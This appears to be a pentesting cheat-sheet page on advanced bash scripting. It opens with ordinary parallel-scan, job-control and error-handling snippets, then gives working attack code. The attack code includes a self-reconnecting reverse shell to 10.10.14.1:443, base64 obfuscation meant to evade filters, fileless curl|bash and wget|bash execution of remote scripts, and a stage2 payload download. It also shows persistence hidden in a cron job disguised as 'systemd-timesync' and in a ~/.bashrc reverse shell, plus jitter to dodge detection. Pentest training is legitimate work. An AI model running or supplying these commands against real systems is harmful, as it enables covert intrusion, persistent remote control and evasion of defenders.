Bash scripting for pentesting - advanced
Builds on bash scripting for pentesting. Covers parallelization, resilience, obfuscation and stealthier persistence.
Parallelizing scans with xargs
| # Ping sweep in parallel, 20 workers at a time
seq 1 254 | xargs -P 20 -I {} \
bash -c 'ping -c 1 -W 1 10.10.10.{} &>/dev/null && echo "10.10.10.{} is up"'
# Port scan a list of hosts in parallel, feeding a target file
cat hosts.txt | xargs -P 10 -I {} nmap -Pn -p- -oN "scan_{}.txt" {}
|
Background jobs and process management
| long_running_task &
pid=$!
# Do other work here...
if kill -0 "$pid" 2>/dev/null; then
echo "still running"
fi
wait "$pid"
echo "finished with exit code $?"
jobs -l # list background jobs in the current shell
disown -a # detach jobs so they survive the shell exiting
|
Robust error handling and cleanup with trap
| #!/usr/bin/env bash
set -euo pipefail
tmpdir=$(mktemp -d)
cleanup() {
echo "[*] cleaning up $tmpdir"
rm -rf "$tmpdir"
}
trap cleanup EXIT
trap 'echo "[!] interrupted"; exit 130' INT TERM
# ... use $tmpdir for scratch files during an engagement ...
|
Retrying flaky network operations
| retry() {
local attempts="$1"; shift
local delay="$1"; shift
local n=0
until "$@"; do
n=$((n + 1))
if [[ "$n" -ge "$attempts" ]]; then
echo "[-] failed after $attempts attempts: $*"
return 1
fi
sleep "$delay"
done
}
retry 5 3 curl -sf http://10.10.14.1:8000/stage2.sh -o /tmp/.s2
|
Signal-aware reverse shell watchdog
| #!/usr/bin/env bash
# Keeps re-establishing a callback if the connection drops.
target="10.10.14.1"
port=443
while true; do
bash -i >& "/dev/tcp/$target/$port" 0>&1
echo "[!] connection lost, retrying in 10s" >&2
sleep 10
done
|
Basic obfuscation
| # Base64-encode a payload to slip past naive content filters/logging
payload='bash -i >& /dev/tcp/10.10.14.1/443 0>&1'
encoded=$(echo -n "$payload" | base64 -w0)
echo "echo $encoded | base64 -d | bash"
# Variable/command reassembly to avoid literal strings on disk
a='ba'; b='sh'
$a$b -c 'id'
|
See bashfuscator and DOSfuscation (Windows equivalent concepts) for tooling that automates this.
Living off the land: avoiding dropped binaries
| # Read a remote script into memory and execute without writing to disk
bash <(curl -s http://10.10.14.1:8000/script.sh)
curl -s http://10.10.14.1:8000/script.sh | bash
# Same idea with wget
wget -qO- http://10.10.14.1:8000/script.sh | bash
|
Stealthier persistence
| # Hide a cron entry with an innocuous-looking comment/name
(crontab -l 2>/dev/null; echo "*/10 * * * * /usr/bin/curl -s http://10.10.14.1:8000/c -o /tmp/.x && bash /tmp/.x #systemd-timesync") | crontab -
# Persistence via a shell profile hook, triggered on every new login shell
echo '(bash -c "bash -i >& /dev/tcp/10.10.14.1/443 0>&1" &) 2>/dev/null' >> ~/.bashrc
|
Timing and detection evasion basics
| # Jitter between requests to avoid trivial rate-based detections
for target in $(cat targets.txt); do
curl -s "http://$target/" -o /dev/null
sleep "$(shuf -i 2-8 -n 1)"
done
|
Last update: 2026-07-27
Created: July 27, 2026 16:17:23